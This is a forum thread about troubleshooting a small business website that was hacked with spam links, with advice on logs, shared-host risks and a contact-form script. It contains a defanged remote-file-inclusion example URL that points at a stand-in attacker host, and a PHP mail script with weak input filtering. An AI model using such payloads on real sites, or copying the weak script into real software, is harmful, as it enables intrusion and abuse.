Site got hacked - what should I do now?

[Adrian M.H.]

...and, more importantly, how I can mitigate against further problems?

A site that I manage just got hacked in the last few days and had a load of spam links added to one of the pages. I would like to be able to work out how this happened so that I can patch any weak spots in my management. Is it most likely to be:

A form injection?
Password discovered from the FTP connection?
Or the password taken straight from my PC somehow?

Basically, how in hell do they do tricks like this?

It may or may not be related, but for the last two days, until earlier today, I was unable to establish an FTP connection. A few emails exchanged with the host's support staff got it sorted without needing to issue a new password. I spotted the hack while I was uploading some changes after that.

I'm going to get the site's owner to set a new password if possible, but what else should I check for or do? Many thanks.

[Robert_2006]

Spend sometime searching the log files. That will lead you in the right direction.

[Adrian M.H.]

Thanks for responding. How would I go about doing that?

[Robert_2006]

You must have some sort of control panel. I'd start looking in there. If not then contact your hosts support and ask them.

[Adrian M.H.]

I don't have access to the CP. Never needed it. I'll get the site's owner to look into it and give me the details.

Thanks.

[crmalibu]

It can be difficult for someone who isn't a programmer to figure out why/how a site got hacked. If it's a shared webserver, it may not even have been your site which got hacked. Often hacking one site on a shared server allows them to hack others.

Open source scripts being used are a common culprit. A vulerability is discovered and then they go out and exploit it before people get it patched.

Any code which deals with the filesystem should be scrutinized. Espescially code which writes to files, and file uploads. Any code which executes a file based on user input is also dangerous.

[Adrian M.H.]

The only thing of that type that the site has is a PHP e-mail script. It's quite basic and not particularly secure -- it's short enough to post here if you want to see it -- but I can't use anything more complex, although I would really like to. I have tried to teach myself PHP and I have tried to work out how to use complex scripts, but without success.

[SteveWh]

If you haven't "destroyed the evidence", note the timestamps on the modified files. Then go to your http log (cPanel or Plesk "Raw Logs" or "Raw Log Manager") and look for activity at the time of the timestamp. Same with your ftp log (cPanel "Raw Log Manager"). If log archiving wasn't enabled, the logs are probably lost by now, but turn it on now to catch the next attack.

RFI (remote file inclusion) is the most likely scenario if you found the injected text in the source code of pages. The security hole would be in your own PHP script(s) or in outdated versions of forum, blog, photo gallery, or shopping cart, etc. scripts.

In any script that gets any data from the outside world, the question to ask yourself while examining it is, "What will this script do if someone calls the page with a string that looks like this: hxxp://mysite.com/mypage.php?variable=hxxp://badsite.com/id.txt?"

If your site uses [variable] without making sure that it is NOT a URL, then the malicious id.txt script will get included into your script, become a part of it, and run. It could do anything such as open all your files and inject text, or much more damaging things.

[Adrian M.H.]

Thanks, but the key bits of that post went over my head.

In any script that gets any data from the outside world, the question to ask yourself while examining it is, "What will this script do if someone calls the page with a string that looks like this: hxxp://mysite.com/mypage.php?variable=hxxp://badsite.com/id.txt?"

I haven't the slightest idea, to be honest. All that I know for sure is that the current script, picked off the web ages ago, is very short (which is good for me) compared to some that I have seen recently that claim to be fully secure.

When I have asked for help with PHP scripts in the Sitepoint forum in the past, I haven't received the help that I needed. I just get very brief replies with references to things that non-coders do not understand. CSS, I can handle; PHP is just a nightmare.

[SteveWh]

The links in my signature go to a series of detailed articles that likely answer many of the specific questions you have.

Are you absolutely sure your site uses no PHP at all except that one script for the email contact form? You don't have forum, shopping cart, blog, etc.?

If so, the most pain-free way to better secure the site is just remove the contact form from the page it's on, and (most important) delete the associated PHP script from your server. "picked off the web ages ago" is a red flag, and the length of a script is not an indicator of its security. There are many bad PHP email scripts. If you just get rid of it, you can save yourself trouble if you are not prepared to dig into PHP code to troubleshoot it. That doesn't mean the script is the problem, but getting rid of it would remove it as a possible problem. What is the name of the script?

Password discovered from the FTP connection?
Or the password taken straight from my PC somehow?

Both of those are also possibilities:

1) If you use a wireless internet connection and the data passing through it is not encrypted, your passwords can be stolen as you log in to places.

2) There is a computer virus called FerTP or FerTippy. After it infects a computer, it searches it for FTP login data. If it finds any, it sends it to a remote server. Hackers then use the data to log in to those accounts.

[crmalibu]

You could post the script in the php forum for review.

Again, most shared web hosts use very poor filesystem permissions. The compromise of a single website often means the compromise of all on the server. You entire website can consist of a single .txt page, and if other sites on the server are getting hacked, you aren't safe. A VPS or dedicated server will be safer in this specific aspect.

[Adrian M.H.]

SteveWh -- I can't see a signature. Yes, I am sure that this is the only PHP involved. I don't want to be appear terse, but I built the site, so I should know when I used PHP! I may be an amateur but I'm not stupid.

I can't remove the form because the guy who owns the site has clients who contact him through the site and I'm not going to use an e-mail link, an image, or any other thing like that. Forms are the only "right" way as far as I'm concerned.

It's not about "not" being prepared to dig into the PHP: it's about being able to. I wish I could. The scripts that everyone likes to use are very long -- eg, Formmail, phpmailer-fe, etc. -- and I can't work out what does what and what is essential to keep and what I have to modify to my needs, so I have had to stay with a short and basic script that I know probably isn't fully secure.

I don't use wifi and I am sure, as confidently as anyone can be, that I'm virus/spyware free.

Here's the site: askdecorating.co.uk

Windows Explorer has just taken this moment to crash, so I'll post the PHP in a minute or so.

[Adrian M.H.]

<?php
  $badStrings = array("Content-Type:",
  "MIME-Version:",
  "Content-Transfer-Encoding:",
  "bcc:",
  "cc:");
  foreach($_POST as $k => $v){
  foreach($badStrings as $v2){
  if(strpos($v, $v2) !== false){
  header("HTTP/1.0 403 Forbidden");
  exit;
  }}}
  foreach($_GET as $k => $v){
  foreach($badStrings as $v2){
  if(strpos($v, $v2) !== false){
  header("HTTP/1.0 403 Forbidden");
 exit;
  }}}
?>
<?php
  $title = $_POST[title] ;
  $firstname = $_POST[firstname] ;
  $surname = $_POST[surname] ;
  $email = $_POST[email] ;
  $daytel = $_POST[daytel] ;
  $evetel = $_POST[evetel] ;
  $preference = $_POST[preference] ;
  $dropdown1 = $_POST[dropdown1] ;
  $dropdown2 = $_POST[dropdown2] ;
  $message = $_POST[message] ;

  if (!isset($_REQUEST[email])) {
    header( "Location: http://www.askdecorating.co.uk/html/contact.html" );
  }
  elseif (empty($firstname) || empty($surname) || empty($email)) {
    header( "Location: http://www.askdecorating.co.uk/html/error.html" );
  }
  else {
  $mail_message="From: $title ";
  $mail_message.="$firstname ";
  $mail_message.="$surname
";
  $mail_message.="Daytime phone: $daytel
";
  $mail_message.="Evening phone: $evetel
";
  $mail_message.="Preferred time to call: $preference
";
  $mail_message.="Type of work: $dropdown1 ";
  $mail_message.="$dropdown2
";
  $mail_message.="$message";
  mail( "****@askdecorating.co.uk", "Customer Enquiry",
  $mail_message, "From: $email" );
  header( "Location: http://www.askdecorating.co.uk/html/success.html" );
  }
?>

[SteveWh]

I can't see a signature.

Ok, you must have them disabled. Here are the links:
How to remove "This site may harm your computer"
How to clean up, prevent website hack

Yes, I am sure that this is the only PHP involved. I don't want to be appear terse, but I built the site, so I should know when I used PHP! I may be an amateur but I'm not stupid.

I wasn't implying that. Many people install programs such as SMF or vBulletin forums or WordPress blog or Coppermine gallery, or other popular applications, without ever realizing that these are large PHP programs. Any site using those is using PHP extensively. And any site running outdated versions of those programs is at severe risk of being compromised by a PHP-based attack, even if the owners don't realize PHP is being used.

I can't remove the form because the guy who owns the site has clients who contact him through the site and I'm not going to use an e-mail link, an image, or any other thing like that. Forms are the only "right" way as far as I'm concerned.

It's not about "not" being prepared to dig into the PHP: it's about being able to. I wish I could. The scripts that everyone likes to use are very long -- eg, Formmail, phpmailer-fe, etc. -- and I can't work out what does what and what is essential to keep and what I have to modify to my needs, so I have had to stay with a short and basic script that I know probably isn't fully secure.

I'd recommend switching to the free NMS FormMail script, then. The NMS part is very important. It's a huge script, but the editable configuration section is only a few lines at the top, and it is straightforward. It's not coding, just setting variable values. Yes, I've written about that, too: http://25yearsofprogramming.com/blog/2008/20080518.htm.

I don't use wifi and I am sure, as confidently as anyone can be, that I'm virus/spyware free.

Ok. If the same is true of everyone else who has access to the site, such as the owner, then spyware gets moved even farther down in the list of suspects than it usually is. It is rarely the "top" suspect, anyway, unless the hack has some particular characteristics. For example, the FerTP virus is typically associated with injected links to specific sites.

I'll take a look at the script you posted. On first glance, I don't like the looks of it. The amount of filtering it does is trivial. It looks to me like if someone were to submit a virus or malicious JavaScript in any of the fields, the owner will receive a virus-laden email. That's an initial reaction, though, and from someone who is nowhere near a PHP expert, so opinions from others will likely be more valid.

[Adrian M.H.]

Thanks, Steve.

[SteveWh]

Ok, I took this opportunity to examine the script a bit and try to study up on PHP email.

I found similar code around the web, but didn't see any attributions as to where it came from, so couldn't look it up in security databases like Secunia.

Since the script filters out MIME type specifications, I think I was wrong about the injected viruses. They could inject the code, but it's a plain text email anyway, so it shouldn't be able to do harm.

Its filtering is minimal, so it will allow invalid email addresses and probably other junk, and it doesn't filter out injected line ends, null characters, or Unicode, so someone could cause it to create a technically corrupted email, but the important headers bcc and cc are prohibited.

So even though the filtering isn't good, the rest of the code is so simple, and doesn't use the powerful functions where injected code could cause damage, that I don't see any places where it could be used to hack the server, which is mostly the concern here, not whether it's vulnerable to spam injection attacks.

There's no checking of data length, nor cutting line lengths to < 70 characters. I don't know if that's a concern. If there's any bug in the mail() function where code could be injected in conjunction with a buffer overrun, that would be a concern, but I don't know if that's the case, and would tend to doubt it.

Anyway, I'll be interested if anyone can find something I missed. If no one else looks at it, you could post it in the PHP forum as crmalibu suggested. If you do, please mention it here so I can follow that thread.

If I correctly found the host you're at, I see no mention of logs in the screenshots of their rudimentary control panel. You could hunt around by FTP for a top level folder named /logs or something similar. Without access logs, trying to find out how the hack occurred will be considerably more difficult.

And as crmalibu said, a successful hack on some other site on a shared server could affect yours. It's not the first thing I consider, but it does happen. It is also especially weird that only one page was affected. Script injection attacks usually sweep through the file system targeting either all the files, or pages with the names index.html, index.htm, index.php, etc. If you still have the injected links, you could check whether the linked-to sites are on your server. A malicious neighbor?

If you can't find logs, you might try asking the webhost. Perhaps they will provide them on request. That's sometimes the case. Even when you can't find the specific successful attack in the logs, they tell you how the site is being attacked in general, which is useful information to help narrow down the list of possibilities you need to consider.

[Adrian M.H.]

Thanks again, Steve. That's helpful.

I'm still waiting for the site's owner to get back to me and tell me what his CP login is. His host is Web Mania, which I don't use myself. But if you're right, then it's a dead end anyway. The links that were added all made references to viagra products and all pointed to forum threads on a site called storialibera.it.

I have dug through the other, more complex scripts that I have collected and found one possible option called PHP Mailer FE, but I can't figure out how to configure it for the form, so I have posted a request for assistance in the PHP forum. http://www.sitepoint.com/forums/showthread.php?t=574178

[SteveWh]

A Google search on: "storialibera.it" viagra
turned up (about the 3rd result) another site (re "brick and plaster") at Web Mania (though on server 20) with an entire page full of links about viagra and valium. Sound familiar?

I looked through your site, and it doesn't fit the profile of one hacked due to internal coding errors. Small number of evidently hand-coded HTML pages; even the photo gallery looks hand coded. Nice job, too. No content pulled from outside sites, no obvious evidence of PHP, ASP, or database usage (no search boxes, for example). Basicly all static html web pages.

Unless someone finds a problem that I missed in the email script, I think your best course of action is to notify the hosting company what happened. Point them to that other hacked site, as well. They might or might not do anything about it, but it will be best if they're informed.

[Adrian M.H.]

Thanks for the reply, Steve, and for the compliment about the mark up.

Further developments yesterday, which tie in with your discovery of another hacked site: the site's owner got back to me and when I went round to see him, he showed me a mass e-mail reminder from the host about using strong passwords. It said that some customers had complained about "unauthorised FTP access".

I managed to get into his CP after a password reminder and, as you suspected, there are no publicly viewable logs of such activity in the CP, so I assume that these customers must have had some visible damage that brought it to their attention.

I have changed the passwords just in case and I'm still pursuing a better PHP script.

Thanks again for your advice. Your website was useful by the way, if a little too technical in places!